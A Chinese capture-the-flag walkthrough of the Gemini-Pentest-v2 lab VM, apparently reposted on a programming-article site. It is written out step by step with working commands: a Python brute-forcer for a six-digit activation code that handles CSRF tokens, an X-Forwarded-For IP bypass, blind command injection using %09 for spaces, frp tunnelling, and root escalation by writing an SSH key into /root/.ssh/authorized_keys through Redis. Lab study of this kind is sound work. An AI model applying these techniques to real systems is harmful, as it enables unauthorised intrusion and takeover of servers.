18、Gemini-Pentest-v2

2024-09-03 09:20
文章标签 18 v2 pentest gemini

本文主要是介绍18、Gemini-Pentest-v2,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

难度 中

目标 root权限 一个flag

靶机启动环境为VMware

kali 192.168.152.56 靶机 192.168.152.63

信息收集

web测试

访问80端口

上面介绍了一下这个系统是一个内部系统,让员工查看他们的个人资料还可以导出为PDF

页面还有一个链接是UserList可以访问但是页面什么都没有显示,怀疑可能是没有权限或者需要什么参数

继续目录扫描

基本都存在目录遍历,但是都是些php文件

使用gobuster扫描

gobuster dir -u http://192.168.152.63/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,html

有一个黑名单

但是不知道这是哪个文件接收的参数,用上面跑出来的文件做了个字典去跑也没有发现

然后去看每个可以访问的页面,发现注册页面应该可以注册一个账户登录进去,还发现一个激活页面也可以访问有东西,其他的页面都是403以及需要登录的admin

尝试注册admin发现提示账号已存在

注册一个admin123,确实注册成功了,又提示需要激活

大概是需要上面那个激活页面进行激活吧

但是激活需要userid,在页面找了一圈发现在这个profile,点了会卡一会然后就是跳转但是跳转没用会在url显示userid

前面说激活码是6位数字那么可以尝试爆破一遍(15是我一开始跑截的图)

数目有点大估计得要一段时间

服了跑了一会发现很慢然后发现全是403发现有token验证。。。

于是写个简单的脚本进行跑,当然也可以使用bp的宏定义。

import requests
from bs4 import BeautifulSoupurl='http://192.168.152.63/activate.php'session = requests.Session()  #保持会话
response = session.get(url)
text=response.textsoup = BeautifulSoup(text, 'html.parser')
token_value = soup.find('input', {'name': 'token'})['value']
# 生成从000000到999999的所有数字字符串
for i in range(1000000):number_str = f"{i:06d}"  # 使用格式化字符串,确保数字是6位,不足的前面补0data={'userid':15,'activation_code':number_str,'token':token_value}re = session.post(url=url, data=data)soup = BeautifulSoup(re.text, 'html.parser')token_value = soup.find('input', {'name': 'token'})['value']print(number_str)if re.status_code!=403:print('——————————————————————————————————————————————')break

写脚本还遇到一个之前没有注意的地方就是data数据如果用这个{}格式的字典会自动的进行url编码的,我一开始直接把post数据当成字符串进行传输发现一只是无效的token后面发现需要有url编码也就是请求头里有个Content-Type: application/x-www-form-urlencoded

激活码作者没有给很大的数字也是很快就跑出来了,而且是固定的000511。

再次访问就可以正常登录了

然后在这些新功能点翻一翻,测一测SQL注入啥的

翻了一圈没发现什么东西,最后在9emin1中发现泄露了密码的HASH

此账号为管理员

 

找个在线的解密网站 9emin1 secretpassword

不过使用9emin1 secretpassword没登录成功。。。

突然想到注册的时候有个账号名和一个昵称,又回去看了一下每个账号后面都有一个括号又有一个名字

于是使用 Gemini secretpassword登录成功了

尝试放我上面admin才有的功能点有个执行命令但是都403

看数据包发现是ip不允许

使用插件生成的ip可以绕过

具体尝试发现X-Forwarded-For: 127.0.0.1就可以

突破边界

在执行命令这里发现了前面黑名单出现的命令执行的参数testcmd

不过我尝试输入了几个命令并没有什么回显(注意这里也要有Content-Type: application/x-www-form-urlencoded才会执行,token也要对)

怀疑是无回显的根据黑名单的内容发现过滤了空格

找了一下可以替代空格的方式,发现黑名单中还过滤了{}最后发现%09可以替代

这里应该是没有curl命令。

一开始想尝试OOB带外数据的但是发现很多都被过滤了估计不太行,想了一下很多命令不行那么试着先上传msf的后门试试

但是尝试了并没有成功的上线后门

尝试上传一个sh文件看能执行不

然后执行

bash%09/tmp/jiaoben

成功的执行了,这里只能用bash不能用bin/bash不知道为什么

提权

使用

SHELL=/bin/bash script -q /dev/null

提升一下shell

在家目录下面看了下历史记录没啥,也就一个这个Gnupg没有见过有点可疑,去网上搜了一下是一个加密的东西,没看太懂

上传了提权辅助脚本进行了一下信息的收集,收获到一下比较可疑的内容

/var/backups/alternatives.tar.0

/home/gemini1/.gnupg/trustdb.gpg

/home/gemini1/.gnupg/pubring.kbx

usr/bin/wkhtmltopdf

/usr/bin/gettext.sh

同时查看发现开启了redis和mysql数据库

同时发现redis是root权限启动,mysql只是mysql权限启动

redis有一些手法的前提就是root权限启动的服务

但是在命令行运行会有问题,我怀疑是shell的问题

frps.toml的配置

然后将frpc 和frpc.toml传上去赋予执行权限、

然后先在kali启动frps

./frps -c ./frps.toml

然后再在靶机上启动

nohup ./frpc -c ./frpc.toml > output.log 2>&1 &

然后发现需要密码

一开始准备用msf的代理转发的但是不知道为什么没代理上,只能退其次选择内网穿透使用frp

现在本地修改一下frpc.toml的内容,将本地的6379穿透到kali的1088端口

redis的密码可以在配置文件中查看

cat /etc/redis/6379.conf

8a7b86a2cd89d96dfcc125ebcc0535e6

刚才登录后查看有没有什么东西

发现有个秘钥,将秘钥cp到本地后尝试使用公私钥连接发现连不上。。。

那么只能选择写入公钥的方式了

现在本地生成公私钥

然后先将公钥写入一个txt中间加一些换行

(echo -e "\n\n";cat Gemini.pub;echo -e "\n\n")>Gemini.txt

这是因为在写入的过程中会出现一些乱码影响

将公钥写入redis内存中,也就是保存到数据库

cat Gemini.txt|redis-cli -h 127.0.0.1 -p 1088 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set gongyao

然后

config set dir /root/.ssh

config set dbfilename authorized_keys

save

这就成功的将公钥写入数据库了

现在可以尝试使用ssh进行连接了

指定私钥进行连接

ssh -i Gemini root@192.168.152.63

查看flag

 总结

        算是比较麻烦的靶场,无回显的rce并且是不太清楚的环境的情况下也不知道什么命令可以执行。

这篇关于18、Gemini-Pentest-v2的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1132610

相关文章

react笔记 8-18 事件 方法 定义方法 获取/改变数据 传值

1、定义方法并绑定 class News extends React.Component {constructor(props) {super(props)this.state = {msg:'home组件'}}run(){alert("我是一个run") //方法写在类中}render() {return (<div><h2>{this.state.msg}</h2><button onCli

野火霸天虎V2学习记录

文章目录 嵌入式开发常识汇总1、嵌入式Linux和stm32之间的区别和联系2、stm32程序下载方式3、Keil5安装芯片包4、芯片封装种类5、STM32命名6、数据手册和参考手册7、什么是寄存器、寄存器映射和内存映射8、芯片引脚顺序9、stm32芯片里有什么10、存储器空间的划分11、如何理解寄存器说明12、如何操作寄存器的某一位 STM32F407芯片学习1、stm32单片机启动流程s

Day18_0.1基础学习MATLAB学习小技巧总结(18)——MATLAB绘图篇(1)

利用空闲时间把碎片化的MATLAB知识重新系统的学习一遍,为了在这个过程中加深印象,也为了能够有所足迹,我会把自己的学习总结发在专栏中,以便学习交流。 参考书目:《MATLAB基础教程 (第三版) (薛山)》 之前的章节都是基础的数据运算用法,对于功课来说更加重要的内容是建模、绘图、观察数据趋势,接下来我会结合自己的使用经验,来为大家分享绘图、建模使用的小技巧。 二维图形绘制 在本章开

Gemini AI 与 ChatGPT:哪个更适合为我策划婚礼?

我在六月订婚后,一心想着婚礼钟声,但在看到这些婚礼场地报价后,更像是警铃声响起。 “叮咚”已经被重新混音成“哗啦啦”——我需要帮助。 我甚至不知道如何 开始 计划婚礼。第一步是什么?我需要优先考虑什么?哪些任务紧迫——哪些可以先放一两年? 我决定请一位AI助手来帮忙。更进一步,我觉得看看哪款聊天机器人——Gemini Advanced还是ChatGPT Plus(即ChatGPT 4.0)—

18. 4 Sum

题目: 解答: 与之前的三数之和的解法类似,也是先排序,然后不断剔除不可能的条件,最后两个参数,通过两头求和计算得出。 代码: class Solution {public:vector<vector<int>> fourSum(vector<int>& nums, int target) {vector<vector<int>> result;int len = nums.size

系统架构师考试学习笔记第三篇——架构设计高级知识(18)面向服务架构设计理论与实践

本章考点:         第18课时主要学习面向服务架构设计理论与实践。根据考试大纲,本课时知识点会涉及单选题型(约占2~5分)和案例题(25分),本课时内容偏重于方法的掌握和应用,根据以往全国计算机技术与软件专业技术资格(水平)考试的出题规律,概念知识的考查内容多数来源于实际应用,还需要灵活运用相关知识点。         本课时知识架构如图18.1所示。 一、SOA的相关概念 (

PHP 验证身份号码 包括15位18位

查了很多资料 发现网上身份证15位的验证并不是那么严谨  今天研究了一下  代码如下 <?phpfunction check_id_card($num){//老身份证长度15位,新身份证长度18位$length = strlen($num);if ($length == 15) { //如果是15位身份证//15位身份证没有字母if (!is_numeric($num)) {return fa

翻译Houdini官方对UE4新版插件的介绍:Houdini Engine for Unreal - V2

原视频:Houdini For Unreal - YouTube 目录 介绍0. 总览1. 简介HoudiniEngine2. UE4的HoudiniEngine - 第二版为什么要做“第二版” ?What's new? - 核心What's new? - 输出(1)What's new? - 输出(2)What's new? - 输入What's new? - 参数What's new?

最简单的使用JDBC[连接数据库] mysql 2019年3月18日

最极简版本的, 我们这里以mysql为例: 首先要创建maven工程, 需要引入jar包:,这里需要注意, 如果你安装的是mysql最新版本8以上的, 下面有些地方需要更改,具体就是mysql连接的url, 和5版本的不一样,具体解决请自行百度哈.这里只演示mysql5版本的? 依赖: <dependency>   <groupId>mysql</groupId>   <artifactId

实变函数精解【18】

文章目录 有限测度有限测度概率测度有限测度与概率测度的关系 σ \sigma σ-有限测度计数测度完备概率测度 参考文献 有限测度 首先,我们来明确“测度”的概念。在数学中,测度是一个将集合映射到非负实数(通常是实数的扩展,包括正无穷)的函数,它满足某些特定的性质,比如非负性、可加性等。有了这个基础,我们可以进一步探讨有限测度和概率测度的具体定义和它们之间的关系。 有限测度